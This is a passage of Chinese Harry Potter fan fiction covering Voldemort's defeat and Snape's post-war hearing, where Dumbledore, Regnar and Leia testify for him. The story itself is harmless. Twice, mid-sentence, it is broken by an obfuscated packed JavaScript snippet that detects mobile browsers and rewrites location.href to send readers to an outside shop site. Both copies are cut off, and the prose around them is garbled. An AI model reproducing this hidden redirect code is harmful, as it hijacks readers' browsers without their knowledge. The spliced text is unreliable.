“其实跟他也没有关系。”哈利叹了一口气,语气漠然地说道:“就算你现在对我使用夺命咒,也是无济于事的。你很惊讶我为什么还活着吧?也很惊讶为什么你手里的魔杖不听指挥吧?“ “你到底想说什么?”伏地魔咬牙切齿地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13908904|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道。 “你手里那根魔杖不听你的指挥,不是因为你没有杀死斯内普。而是因为西弗勒斯·斯内普从来都不是老魔杖的真正主人,他既没有杀死邓布利多,也没有打败邓布利多。但邓布利多掉下天文塔的那一晚,老魔杖确实认定了一位新的主人,一位你意想不到的主人。”哈利继续陈述道。 “不……你到底想说什么?”伏地魔敛住的眼色中划过稍纵即逝的惊慌,他立即明白到这里有他没有掌握的讯息。是邓布利多、斯内普所布下的局?还有谁?马尔福一家真的忠诚吗?—— 乱七八糟的思绪在这一刻排山倒海地裹住了他。他焦急地拼命思考,却愈发无助而惶恐。他完全无法预料接下来会发生什么,而失控的感觉几近将他摧毁。 伏地魔的胸膛在剧烈起伏,眼底周围的皮肤也即刻泛白,但愤怒使他握紧手里的接骨木魔杖,好像抓住了最后一根救命稻草。 哈利游刃有余地凝视着伏地魔魔杖尖凝集的魔力,也轻轻举起魔杖:“那个晚上,老魔杖认定的真正主人是德拉科·马尔福。但其实,还没等他有机会摸过这根魔杖,我已在马尔福庄园战胜了德拉科——所以。” “老魔杖真正主人是我。” 顺着哈利的话,天空中爆出一束金红色的光芒,一小半耀眼的曙光刚好越过连绵不断的天缘山脉。璀璨得如鎏金的黎明阳光倾泻在场上每一个人的脸上,是象征着希冀的花朵在严寒后繁茂地盛开。 “Avada Kedavra(阿瓦达索命)!” “Expelliarmus(除你武器)!” 两个魔咒碰撞在一起,发出撼动大地的雷霆巨响。空气被这种魔力的巨压扭曲成硕大的漩涡,卷起飓风横扫过地上的砖石瓦砾,翻卷拧成更可怖的龙卷风暴。不断有金色火焰闪烁着凌空挣出,周围的人都敬畏地纷纷后退。 然而,布莱克却如磐石般屹立不动,他的身影坚定如山,稳稳地站在风暴的中心,不时为男孩挡开飞来的碎片。他的手搭在哈利的肩上,再也不会松开。 在这片混沌里,老魔杖忽然从黑魔王的手中挣脱,旋转着,飞向哈利,如同一颗流浪的星辰找到了它的归宿。 而后,一切都在这一刻戛然而止。 风暴、火焰、漩涡,所有的喧嚣都归于寂静,唯有那破晓的第一缕金辉,明晃晃地驱散所有灰蒙迷雾,给大地染上赤红艳丽的光,宣告新一天的起始与希望的重生。 伏地魔再也听不到任何的声音,也不会感觉到来自此岸世界的任何光影变化了。他细长的竖瞳渐渐变为空洞,虚无在那里兀自扩散开来。他的双臂无力地张开,沾满血污的身体缓缓后仰,最后倒下,像一个凡人一样死去。 都结束了。 布莱克上前拥住哈利,泪水在此刻奔涌。 过分灿烂耀眼的晨曦穿透高塔,大片磅礴的光芒自天际流下,笼罩着万物。斯内普站在光里,解除了刚才布置在楼梯口位置的魔法屏障。随后,他扫了一眼被雷格纳扶起的,显然已疲惫到没有任何力气的蕾雅。 明黄的光温柔地在她单薄的身板上披上一层浅浅的轻纱,再沿着她和雷格纳身侧流淌至灰暗的地板上,整片画面在金色的辉映下虚幻得好似不真切。 “蕾雅!”雷格纳焦急地喊道,他的眼眶因关心和心痛而泛红,垂下的金发毫无生气地贴在脸侧,失去了光泽。 蕾雅倚靠着父亲,半睁着眼,含糊地呢喃:“……我没事,也没摔疼,就是有点困。” 这句话说得轻轻的,好像是在安慰雷格纳,但也让更远些的斯内普下意识收起脸上短暂浮现的愧疚和忧虑。他低下头,垂手捡起被甩到一边的分院帽,面色恢复到冷如冰。他迎着邓布利多看热闹般的亲切目光,缓步走到石护栏边上,与邓布利多身后的金斯莱交换了一个眼神。 邓布利多捋了捋胡子,脸上泛起一丝温和的微笑,轻声对斯内普说:“我总算明白了,当初你为什么会同意让她和雷格纳参与进来。”他转头望向蕾雅,满是慈爱和期望,“这孩子,未来可期啊。” 斯内普低哼一声,低头直视着地面上一块发光的凸起石板,根本没有注意还在一旁尝试对他们说话的金斯莱。 邓布利多看出斯内普的情绪,他笑着转向莱恩哈特父女,说道:“我们下去吧,雷格纳。得把蕾雅送到临时医疗翼去,她需要药剂和休息。”说完,他用左手指了指被轰出一个大洞的礼堂。 在被晨光晕染开的炽红热烈里,雷格纳扶着蕾雅走向礼堂,所有人都自觉地让出一条路,然后又如潮水般聚集。他们将邓布利多、金斯莱,以及显然身份已不再是秘密的斯内普簇拥在中央,就像几分钟前,他们簇拥过现在已藏匿起身影的哈利般。 不断有人议论着斯内普,猜测他到底在伏地魔身边埋伏了多久,又是怎么踽踽独行过那些危险。更多的人则开始回忆起斯内普以往的一些行为,那些如今看来可能暗示了他真实身份的细节。时不时,有好奇的学生鼓起勇气询问更多的细节,却总被邓布利多一句“别急,马上会给大家解释的”轻轻搪塞过去。 当斯内普、金斯莱和邓布利多三人艰难挤进礼堂时,四周的人声沸腾到几近滚烫的程度。面对人群的喧闹,他们努力保持着有礼的微笑,什么也没说。 斯内普和金斯莱慵懒地挥动着魔杖,开始修补礼堂顶部破损的大洞。一点又一点,砖块有序地垒起,瓦片也被规整地覆盖。真实的天空逐渐被魔法形成的穹窿代替,但那里也同样盛放着生机勃勃的辉煌粲然。 人们的笑声和赞叹声更为响亮,再也没有人对邓布利多的存活感到困惑,也没有人对斯内普的身份疑虑。就在这时,一道更加高亢的女声突然盖过所有纷乱嘈杂—— “阿不思,西弗勒斯,我希望你们能给出一个不让我对你们用恶咒的解释!” 是麦格教授。 她似乎从未如此愤怒,但眼眶里涌出的泪水又让她看起来是那样的脆弱。原本熙熙攘攘庆祝胜利的礼堂,变得一片死寂。 蕾雅在担架床上费力地掀了掀沉重的眼皮,刚好望到伫立在入口处的斯内普,他整个人被麦格的怒气吓得一震,连黑袍也不情愿地跟着抖了一下。而他身边的邓布利多笑着摆了摆手,向被金斯莱拦住的麦格轻声道了个早安,不以为然得仿佛从来没发生过什么重要的事。 撞见这样的场景,蕾雅实在害怕自己再次控制不住情绪,毕竟她现在也跟麦格教授一样,笑着笑着,可能就会哭出来。她赶紧转向礼堂内侧正帮忙照顾其他伤员的父亲背影,以分散注意力。但下一刻,手腕上的微热感让她又回过头,扯开衣袖。 「相信我,格兰芬多将会因为你没忍住的笑而失去分数」 「好的校长,那请您记得先为今晚格兰芬多的行动加分」 礼堂这头,斯内普的嘴角微微抽动一下,心里好像有暗自升起的不知名情愫。但他的脸如常紧绷,悄悄后退着绕过正冲着邓布利多审问的麦格,径直走向一旁远离所有人的角落里坐下。 「让我考虑一下」他回到。 片刻后,一条新的信息出现在他的手腕上。 「战争结束了,您一定有很多想做的事吧?」 斯内普愣住了。他没想到蕾雅会这么问,这一瞬间,他的目光从光芒透彻的礼堂顶端缓缓扫视下来。 庞弗雷夫人在忙碌地穿梭于伤员中间,教授们也纷纷参与着援助。另一边的韦斯莱一家围坐成一团,卢平、唐克斯、布莱克正在他们旁边高声谈笑。还有许许多多霍格沃茨的孩子们,各色的校服全部都混在一起。他们的脸上虽带着伤,但无一例外都洋溢着笑容,跟头顶上这绚丽动人的辉光如出一辙。 然而,他很快看到了另一件事。礼堂上除了正在向金斯莱提供食死徒消息的马尔福一家,和搬运着魔药的斯拉格霍恩以外,再也没有任何斯莱特林学院的相关人员。 哦,还有他自己。 ……不过怎么说,这场战争持续的时间实在是过于长。而如今,即使是最深的黑暗已然逝去,但它留下的痕迹依旧鲜明。要完全消弭这些阴影的余波,或许还需要更久、更多的时间。 想到这里,斯内普不自觉地拧紧眉心,深吸一口气。 “别担心。”邓布利多不知道什么时候摆脱了麦格,正矗立在斯内普的身后,跟他一起见证战后的这种颓败又充满希望的场景,“霍格沃茨会有新的希望,也会有新的故事。今晚我们已经看到了新生代的潜力。而你,西弗勒斯,将带着他们迎来新的时代。” 斯内普错愕地回头,来不及修饰的话语有些发颤:“你是什么意思?打算离开这里?” 邓布利多露出微笑,头顶上的星月软帽也因他的动作柔和地垂在额前,“你刚才没听见汤姆说的吗?我的魔力如今只剩下个十岁孩童的程度。而且,我在这里太久了,我并不想将剩下为数不多的时间也耗在这里。……你知道,世界很大。” 像是一万次与邓布利多的对话那样,斯内普锐利地嘲讽道:“阿不思,你是想跟我说,你活了一百多年才想起来要去环游世界吗?然后准备把这个烂摊子丢给我?” 老巫师乐呵呵地笑着,湛蓝色的眼眸里全是欣然。他抬起枯枝般的焦黑右手搭在斯内普的黑袍上方,轻轻地拍了拍,“这里不再需要我了。而交给你我很放心,西弗勒斯。” 蕾雅有幸见证了这一幕。 看见邓布利多的笑容和斯内普埋在黑发里的暗色面庞,不用多加猜测,她就知道斯内普肯定又被邓布利多塞了新的任务。 后来——过了许久,斯内普还是回复了她之前的问题。 「嗯,路还很长」 「您会做到的」 「给我休息」 「晚安,我亲爱的校长,请允许我梦到您」 翻身盖好被子,她忽而听见有人在她的身边布下一道闭耳塞听。于是,她放松下来,重新闭上眼睛,心安理得地沉浸在胸腔中弥散开的融融暖意里,酣然进入定会有他的梦乡。 61.证明 “西弗勒斯·斯内普确实曾经是一个食死徒,但伏地魔第一次倒台前,他已改过自新,站到了正义的一边。在随后的十七年中,他不惜一切,承担我与凤凰社交付的任务,确保哈利的安全。他从未寻求赞誉,他的牺牲亦可能无人知晓,但他的忠诚毋庸置疑……甚至,他曾一度想要牺牲生命,只因为觉得挽回我这条耄耋老翁的命会比自己活下去更有价值。” 在证人席前站起身的白发巫师稍作停顿,如同是展示证据般举起枯黑右手,语气平和地说道:“因此,我的供词跟十七年前一样。西弗勒斯·斯内普早已将一生献给更崇高的事业。他应该永远被铭记为霍格沃茨最勇敢、最无畏的校长之一。” 当事人西弗勒斯·斯内普就坐在房间中央的一张棉布扶手椅上,身后密集的座位上坐满了巫师们,正交头接耳地议论着他已不再是任何秘密的身份,其中,不时夹杂着自动书记的羽毛笔发出的沙沙声。 他紧抿住唇,微曲的黑发垂在他的脸侧,手随意地放在交叠在一起的腿上。他正强撑着困意,盯着白发巫师陈词后从容坐下的身影,实在是后悔出现在这样一场冗长、繁琐、沉闷的审判里。 虽然名义上是对他“食死徒身份”的审判,但其实更像是邓布利多和现任魔法部长金斯莱精心策划的一场公开舞台,目的是向世人阐明西弗勒斯·斯内普这十七年间的重要贡献和在这场战争里的关键位置。 继而,以证明他完全有资格接任霍格沃茨校长的职位。这么做也是为了驳斥那些质疑他人格的说法——认为他是个见风使舵的食死徒,之所以选择站在邓布利多一边,仅是因为看到比跟随伏地魔更大的胜算。反之,亦有可能发生。 黑发巫师忍住一个哈欠,不由自主地掀了掀眼皮,试图赶走疲倦。坐在这里实在是太无聊了些,他第无数次扫视着坐得满满当当的证人席。在场的不仅有伟大的等邓布利多、救世主哈利·波特、莱恩哈特父女、麦格和弗立维教授、亚瑟·韦斯莱、布莱克和卢平,连德拉科·马尔福和纳西莎·马尔福都来了。除此之外,他还看见很多自愿前来提供证词的巫师和学生——虽然他根本都不记得他到底什么时候对他们施下过恩惠。 也许只是为了蹭点热度。 他在内心嘲讽到。 毕竟,大战以后,整个魔法界都在加紧从战争中恢复过来。除了治疗伤员、清理废墟、修复建筑、埋葬死者和安抚遗孤,魔法界还需要处理各种因为战争推迟或取消的事务,比如说NEWTs考试的排期和学校日常教学的恢复。 而保留着校长职务的斯内普,几乎是无处不在。从学校管理、文书事务、出席会议一路忙到检点药剂、安抚家长,他的身影频繁地出现在霍格沃茨、魔法部、圣芒戈的各个角落,好像哪里没了他都不行一样。他的生活过得比当初一个人负责三份工作的时候还要忙碌,天昏地暗,没完没了,以至于有好几天他都丧失了是怎么躺到床上的记忆。 整个霍格沃茨唯一怡然自得的就只有邓布利多。老巫师以的身体健康还没恢复为借口,每天背着手优哉游哉地在霍格沃茨里闲庭信步,满意地监督着建筑物一点点被重建完毕。时不时,他还会“顺道”溜到霍格莫德或对角巷新开的糖果铺里,心安理得地买下各种新奇甜点,理所当然地堆到校长室里,一边吃一边帮斯内普写点轻松的文件。 斯内普其实做好打算不来的,要不是邓布利多承诺会帮忙处理今天剩下的文书,并且坚持要求他出席——但他现在真的后悔了,也意识到自己又一次掉进老巫师的陷阱里。因为他完全可以利用这段时间去处理完,那堆堆在校长办公桌上三天的战后修复报告和重建资金申请。 更糟糕的是,直到昨晚他才有时间仔细阅读会议的详细说明,金斯莱竟要求他提交一份报告,详细列出他这十七年来的所有行动,这让他不得不通宵复查所有记忆。一想到这里,他咬牙切齿地对金斯莱投去了刻骨的怒目,尽管对方看起来也是疲惫不堪,一双深陷的眼窝显然没比他好多少。这魔法部长的位置看来是真的摧残人,他莫名其妙地想起福吉的软弱和斯克林杰的强硬。 对了,今天的审判会后还会是霍格沃茨的庆功晚宴,会有许多毕业生回来,也是一个获得捐款的好机会。他百般聊赖地走着神,心里盘算起毕业生里那些有声望的古老家族,又沮丧地发现大部分都来自斯莱特林学院。 此时,金斯莱用他那深沉且缓慢的嗓音压过了周围的细碎议论,也掰回斯内普的思绪:“请下一位证人,雷格纳·莱恩哈特。” 斯内普眯起眼睛望去,另一侧的雷格纳·莱恩哈特起身,顺手把刚刚坐下散开时的扣子扣上。他穿着笔挺的深色羊绒西装,一头金发梳得整整齐齐,一丝不苟。 “请陈述证人身份。”金斯莱问。 “我是现任魔法神秘事务司副司长,雷格纳·莱恩哈特。”雷格纳尊敬地说。 “莱恩哈特先生,请宣誓。” 雷格纳宣誓完毕,金斯莱·沙克尔满意地点了点头:“请详细说明,您与西弗勒斯·斯内普的相识经过以及您所知道的相关事实。” “我之所以认识西弗勒斯·斯内普,是因为他曾是我女儿的魔药学老师。我们第一次见面是在伏地魔突袭神秘司的那天。第一次见到他时,我毫不掩饰对他的厌恶,直觉告诉我,一个曾效忠黑魔王的食死徒,永远不可能摆脱那份黑暗。” 雷格纳的话刚落下,场中便响起了几声轻微的附和声,显然还有不少人曾持有类似的怀疑。 “但是。”雷格纳稍稍挺直身体,用一种无法质疑的气势环视着场内,“时间证明了我确实犯下一个严重错误,且错得很彻底。” 他清了清喉咙,开始回顾自那一天以来发生的事情。他特别着重叙述斯内普是如何在危机时候救了他一命,而他却差点将斯内普杀死在自己家。接着,他详细说了那些和斯内普里外配合唤醒邓布利多、暗中部署着战争里的种种。 “我知道,我们中的不少人认为西弗勒斯·斯内普不过是个精明的机会主义者,认为他选择跟随邓布利多,只是因为他判断后者有更大的胜算。“雷格纳沉稳而缓慢地说着,想要将字字句句敲在每个人的心上,“我也同意,像他这样聪明而有能的人,不管是伏地魔还是邓布利多谁胜谁负,他都足以在任何领导下生存,甚至过得很好。” 嘈杂的审判室逐渐变得无声,有人在点头,但更多的是羽毛笔划过纸张发出的声音。 “然而,真正的事实是,我们之所以能够站在这里,完全是因为他的忠诚——一份贯穿始终、没有丝毫动摇的忠诚。”雷格纳继续说。 “是的。他对邓布利多的忠诚是毫无保留的,并且,他的灵魂里常怀着高度的责任感。请诸位想想,即使西弗勒斯必须救活邓布利多以获得战争的胜利,即使他必须保护哈利·波特,但没有任何人要求他冒着生命危险去救我,更没有人会责怪他对我的女儿和霍格沃茨学生们性命安危的袖手旁观。” ”尤其在最后食死徒控制霍格沃茨的黑暗日子,他没有逃离,没有放弃那些并不属于他的责任,他选择了留下,选择了保护,在每一个不为人知的角落,他始终如一。”雷格纳在这里停顿住,郑重地说到:“在我与西弗勒斯共同营救邓布利多那天,我曾对他说过一些话。今天,我想在这里再次重申那些话—— “西弗勒斯,我为曾经对你的怀疑、对邓布利多信任你的质疑,深感抱歉。事实上,你是我见过最勇敢、最坚定的人之一。能与你并肩作战,我感到无比荣幸。” 这番话让整个审判室陷入深深的寂静,大理石的墙壁回荡着雷格纳的话语,越发显得安静,仿佛能听见细针掉落的声音。再也没有人开口低谈,他们都屏住呼吸,全神贯注,好像在沉思。金斯莱的眼睛在闪烁,他身边的珀西·韦斯莱则忙碌着记录下这番言辞与大家的反应。 斯内普在椅子上略微调整过姿势,困倦的身形在此时显得有些尴尬。很明显,他从未设想过会在这么多的人前接受公开的赞誉,也不曾想过竟然会有人对他做出如此高尚评价。尽管这种感觉是如此地不适应,他还是极力展现出一个感激的礼貌笑容,对雷格纳微微抬起下巴以表回应。 接下来的几分钟里,整个审判室仍旧被一种庄严的沉静所笼罩。麦格教授和弗立维教授分别简述了斯内普在霍格沃茨担任教师期间的事迹,而布莱克和卢平则讲了他在凤凰社时期的贡献,包括帮助他们熬制狼毒药剂、追捕虫尾巴、教哈利大脑封闭术的事。 蕾雅跟赫敏、哈利和罗恩一起坐在证人席后侧,她仔细地观察着场上的形势,发现审判会进行到这里,其实大部分的巫师都已然明白斯内普的功劳与品格。 等轮到她作证时,今日的审判已接近时间限制,但在场的巫师们依然保持着端正的坐姿,聚精会神地倾听。蕾雅整理过校袍和散乱的头发,勇敢地迎上一众巫师们疑惑的眼色站起来——她是第一个为斯内普作证的霍格沃茨学生。 金斯莱向这位格兰芬多七年级学生投去慈爱的眼神,温和地轻声问道:“请陈述你的证人身份。” “我是蕾雅·奥德莉亚·莱恩哈特,霍格沃茨格兰芬多学院七年级学生。”蕾雅的话音刚落,周围有窃窃私语在小声唤她副司长女儿,也有人讨论着为什么不是哈利·波特而是她首先作为学生代表发言。 蕾雅在前排父亲和邓布利多扭过头来的鼓励暗示下,调整着呼吸以屏蔽这些杂音,同时努力平复住狂跳的心脏。 梅林知道,这是她第一次在这么多人面前发言,比起以前在邓布利多军的训练还要紧张得多。但是,这是她必须面对的责任,因为她知道她必须把一直埋藏在心底的想法传达出去。 “莱恩哈特小姐。”金斯莱缓声说,“请宣誓。” 蕾雅轻轻抽出魔杖,触碰额头:“我,蕾雅·奥德莉亚·莱恩哈特,以魔法的名义起誓,所说皆为事实,若有谎言,我愿受威森加摩的裁决。” “很好,”金斯莱微笑着,“考虑到我们都知道西弗勒斯·斯内普是你的老师,那么请你直接讲述你所了解的情况。” 她注意到斯内普从头到尾都没有回头看她,只是低头静默着,也许是并不想在意她说的话。他黑发上有落满的淡冷色光圈,是被黑色大理石墙砖反射出来的灯火阑珊。 抽回目光后,蕾雅转向金斯莱,轻轻开口道:“抱歉,我的证词可能会有点长。因为我知道没有人像我一样,亲眼看见斯内普校长在暗中所做的事情,很多是连邓布利多先生也都不知道。我觉得,我有必要在这里将一切说出来。” “审判席给予许可。”金斯莱回应,示意她可以继续。 “在我眼里,校长是一位无私而严厉的教师。虽然我并不是斯莱特林的学生,但他对我的教导却无比细致和深刻。在我最迷茫、最无助的时刻,他曾耐心地指导我,帮助我突破困境,找到自身的能力和人生的意义。也正是在那些辅导期间,我意外发现了他隐藏的身份。”蕾雅解释着。 “隐藏身份?”金斯莱适时地提问,深色的眼睛认真地注视着蕾雅。 蕾雅点点头,“早在我知道他是邓布利多先生安插在伏地魔身边的间谍之前,我就知道他在保护哈利和我们。” “五年级的时候,乌姆里奇曾对学生进行体罚和使用吐真剂。是他悄悄替换了吐真剂,并且交给我治疗药水,用于为大家治疗。而在哈利他们前往神秘司,试图破坏伏地魔计划的那一晚,也是他救回深陷禁林的乌姆里奇,并通知凤凰社前去营救哈利。” “啊!”她话音落下的片刻,赫敏和哈利同时发出恍然大悟的感叹,引得其余巫师纷纷向他们这一排投来关注的眼色。 金斯莱在主席位上轻敲小锤,等场上的骚动平息,问:“后来你得知了他的真正身份?” “是的。”蕾雅答道。确认过父亲此刻没有看她,放下心来,决定把父亲不知道的秘密都和盘托出:“一次偶然,我听见了邓布利多先生要求斯内普校长执行杀死自己的计划,我才知道他原来是邓布利多先生放在伏地魔身边的人。” “你可以详细说明当时听见的内容吗?”金斯莱追问,“因为你可能是唯一知道他们计划的第三人,这份证词至关重要。” “我明白。”蕾雅答道。她简短地思索一阵,把那晚听见的事情复述一遍,一直说到斯内普为保护马尔福立下牢不可破誓言的事。话到这里,她下意识瞥向坐在稍前方的马尔福母子,右手拇指不安地按住左手的关节,害怕这些话会让他们不舒服,但他们没有看她。 “请容我确认一下,也就是说,根据牢不可破誓言的内容,如果斯内普先生决定不杀邓布利多先生,那么他也许就会失去生命?”金斯莱确认般问道,一旁的珀西手中的羽毛笔刷刷地记录着。 “我认为是这样的。”蕾雅诚恳地说,“当时我特别难过。尤其是当我发现斯内普校长一直在努力寻找能让邓布利多先生活下来的方法,我觉得他那个时候已经下定决心赴死。” 斯内普的肩膀稍稍颤动了一下,但他依然没有其他过多的动作。 “这与邓布利多先生此前的证词吻合,说明斯内普愿以性命换取邓布利多的存活。”金斯莱总结道,朝珀西递了个着重记录的手势,“那你知道他是如何成功让邓布利多活下来的吗?” 蕾雅摇了摇头,“我只知道是一种古老的魔药配方。因为我曾跟他一起去找过不少珍贵的魔药材料。那段时间校长日以继夜地研制魔药,办公室里堆满了他从各地搜集来的书籍和材料。” 房间里又响起一阵阵的谈话声,众人不约而同地以错愕和赞赏的目光端详着这位年轻的魔药大师。斯内普仍旧保持着之前的姿态,低垂着眼睑,全然不在意外界的反应,也避免与任何人对上视线。 金斯莱不得已地般向斯内普发出疑问:“斯内普先生,能否在今日会后提交一份关于魔药的详细报告?” 被唤到名字的黑发巫师更不情愿地迟缓抬头,声音没有任何起伏和感情,“可以,但我不保证你们按照我列的清单可以复现它。” “没关系,只是存档所需。”金斯莱说,然后重新看向蕾雅,“莱恩哈特小姐,请继续你的证词。” 蕾雅回想着刚刚说过的内容,略显斟酌地接上话:“之后,斯内普校长按计划将邓布利多先生击落塔楼。在逃离的过程中,他还保护了我和哈利,防止其他食死徒伤害我们。” “莱恩哈特小姐。”审判席上一位年长的巫师抬手打断她,“我记得当时你身受重伤。” 蕾雅低叹一口气,无意识地抬手把垂落的发丝再次带回耳后,与这位她不认识的巫师对视:“是的。当时我也差点被贝拉特里克斯杀死,是斯内普校长先出手,打伤了我,但也避免了我的死亡。” 她在大家的愕然里顿了顿,决定不再增加任何关于受伤的细节,而是迅速转到下一个阶段:“直到八月份,我才再次见到校长。那天正是他将受伤的父亲送回家的日子。他不仅将父亲送回来,还治愈了他的伤势。也是在那一晚,他和父亲商定了营救邓布利多的计划。” “后来,他成为了霍格沃茨的校长。那个时候的霍格沃茨情况非常糟糕,卡罗兄妹不仅教授学生不可饶恕咒,还用不可饶恕咒惩罚学生,甚至……”她抬起头,痛苦地回忆着:“他们,还逼迫我们在其他同学身上练习不可饶恕咒。” 周围响起一阵惊呼,许多巫师的表情从好奇转为震惊,可以听到有人轻微的抽气声,连雷格纳也一脸难以置信地回头望着蕾雅,毕竟这是他第一次听到这件骇人惊悚的事。 蕾雅没有再看场上的反应,而是把眼神放到最远,定格到对面黑色墙面上微微跳动的火把,“虽然表面上看来,他似乎站在食死徒那边,在明面上,他对所有的事都无动于衷,但其实他一直在暗中保护我们。” “在这一年里,他一个人准备了全霍格沃茨的药剂,通过邓布利多军分发到每个学院的公共休息室。而且,所有邓布利多军为了备战的训练和七年级黑魔法防御术的练习,都是他先指导我,我再教会大家。他还多次阻止或中止卡罗兄妹对学生的折磨,把学生的禁闭改到海格教授那里,用他的方式保护学生们。” “梅林——”不知道是谁先惊叹着,空气爆发出强烈的情感波动,惊讶、赞叹、敬佩全部交织在一起,嘈杂不堪。 “整个学校的药剂?这可能吗——他一个人?” “难怪学生们的战斗看起来是这么有组织,这简直令人不可想象。” “斯内普竟然做了这么多事吗?为了什么呢?只要保证学生不死不就好了——” “安静!”金斯莱敲下重锤,充满威迫地震住场上的躁动,他的厚重嗓音盖过所有的吵杂,“请容我提一个细节问题。他是如何得知卡罗兄妹正在折磨学生的?” 这个时候,蕾雅才感到校袍下的衬衫不知道什么时候被汗濡得湿透,正紧紧地贴着她的后背。她抬起右手抹了抹额上细密的水珠,直视金斯莱以及他身后的陪审员们,放下手后便不自觉地握住左手的手腕,是在纠结不知道该不该把实情说出来。 斯内普就在这种纷扰中突然回过头,越过一排排的吵嚷与注视,仿佛是在给她答案一样,缓缓点头。她略一怔愣,旋即明白他的意思,举起左手说道:“我通过一种秘密的传信方式通知他——就是这个手环,上面施加了变形咒。” 整个房间再一次进入短暂的静默,空气也宛如凝固住,所有人都在看她手上的银环。几位陪审老巫师更是稍微前倾着身体,似是想挖出更多的细节。金斯莱与那位方才开口的年迈巫师交换了一个眼神后开口:“莱恩哈特小姐,斯内普先生,可否请你们暂时将这个手环交给审判席作为证物?” “当然。”斯内普懒洋洋地答道,从口袋里取出银环,递向金斯莱。 盯着他手上那枚不知道什么时候已没再戴在手上的手环,蕾雅的腹腔里不由地划开一点不知名的低落,她很快垂下头,同样摘下手环递出。金斯莱轻轻挥动魔杖,两只手环越过半个审判室,慢慢飞到主席台的桌上。 随后,蕾雅简单地解释过他们破坏魂器和战争里的事情,终于来到总结的部分。 她站得笔直,再也没有看斯内普或者金斯莱,绿眸里有凝住的沉着,像是在地宣告最后的心声一样:“我知道,斯内普校长在大多数人眼中严厉苛刻,甚至显得不近人情。但也正是他这种对完美的苛求,才保证了我们在课堂、乃至最后在战场上的存活。” “无数次,他在暗处承受过比钻心剜骨还严重的折磨,只为了保护我们,保护霍格沃茨。他所做的,早已超过他应该做的。 “作为霍格沃茨格兰芬多的一员,我自然而然敬佩深爱着邓布利多先生和麦格教授。但是,请允许我在这里对斯内普校长说——” 她听见自己的声音清晰地回荡在无声的审判室里,眼角余光捕捉到中间的黑发巫师正微微侧头,这让她的内心缓和了些,也鼓起了勇气: “您是我最敬仰的人,您教会了我如何在挣扎中坚守信念,如何在绝望中找到勇气。对我而言,有您这样的校长,我无比幸运。” 不再有心思理会话语有没有被正确地传达出去,话说完的须臾,蕾雅就以急速坐下。在哗然的气氛里,她将逐渐发烫的脸埋进双臂,不好意思到想挖个洞把自己扔进去。 赫敏适时地揽住她的肩膀,打趣般在她耳边低声说道:“你说得太好了,就是罪人也被你这番话说成圣人了。” “哎哟,别笑我了。”蕾雅嘟哝着,“脑子一热就脱口而出了。” “我都看不出来他竟然是一位这么好的老师。”赫敏轻轻笑着,凑得更近些,用旁人听不见的音量说道:“难怪啊,我说呢,你那么早就喜欢上他。换我我也动容。” “赫敏,别说啦!”蕾雅猛猛地晃着脑袋,脸红得像个诱人的苹果。 “噢,梅林,那边两个女巫师在哭吗?”另一边的罗恩也靠过来,“这下,斯内普得是魔法界的名人了!但是他怎么看起来一点都没受你证词 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他突兀地回想起刚成为教授的那几年,他根本不会这样上心,也从不在意别人的看法。哪怕是五年前,他依然乐于扮演一个被所有学生讨厌的角色,只在乎斯莱特林的荣耀。 那么,究竟是从什么时候—— 斯内普停止这种漫无目的的沉思,挂上虚假笑容的面具:“不好意思,我还有点事要处理,关于霍格沃茨的未来,邓布利多可能比我更加清楚。”随后,他大步挤出人群,向门口走去,满意地看着人群按照他的指示走向那位白发老巫师。 他拖着疲惫不堪的身躯,缓慢地穿过一波波簇拥而来的巫师,终于走到出口的方位,眼睛忽而穿越过层层叠叠的障碍,望到站在高处座椅上还停留在那里的四人组。 奇怪的是,珀西·韦斯莱也在那里,正面带笑容地同他们交谈。准确地说,是在和她交谈,似乎还在关心她额头上的伤。斯内普观察片刻,想起来其实刚刚在审判会上,珀西·韦斯莱在书记的间隙里也在默默地看她。同是一名格兰芬多,韦斯莱的情绪表现得过于明显。只不过,除了他这样善于且习惯于观察的人,没有谁会去注意一个不太引人注目的书记员罢了。 书记员珀西·韦斯莱,级长,学生会主席,拿到12个O.W.L,以优异的NEWTs成绩进入魔法部工作。他是唯一一个严肃认真、不苟言笑的韦斯莱,也是除了比尔·韦斯莱之外,唯一一个没在他手里丢过多少分的韦斯莱。至少,比隔壁那两个小子要好得多,斯内普没好气地撇过一旁的哈利和罗恩。 很突然,他的心海中泛起一道释然的潮水,拍在贫瘠的滩涂上,激起不小的洁白浪花。他接住莫名的情绪,最后扫了一眼站在高台上边用手帕擦汗边说笑的她,那黑色的柔顺长发被魔法烛火映出圈圈橘色的光弧。他勾起嘴角,低头走出审判室。 高台上的蕾雅早眺望到斯内普的身影,在斯内普离开的瞬间,蕾雅就焦急地也想追向他。她有许久没有见过他,也有足够久的时间没有跟他说过话。因为害怕打扰,她没有再给他传信。 而她,跟所有的学生一样,忙于拾起落下很久的学习。由于他并不授课,所以即使霍格沃茨恢复了课程教学,她也不会再在课堂上见到他。并且,他和她已没有任何需要共同奋斗的目标,也就是说,她真的没有任何的理由去见他。 是的,她曾幻想过的所有关于他的战后故事,也都没有发生。更甚,她感觉他们的距离好像比战争前还要遥远。因为她隐约感觉到,斯内普在不动声色地躲着她。 “蕾雅!”赫敏耸了耸她,“你刚才不是说要去洗手间吗?” “哦,对。”蕾雅回过神,感激地赫敏笑了笑,转头对珀西说:“那我先去洗手间。” “洗手间在走廊尽头,别迷路了。”珀西谦虚有礼地笑着,一头稍短的红发如灿阳般热烈。他然后朝赫敏三人说道:“那我也该回去工作了,为了今晚能顺利回去霍格沃茨。” 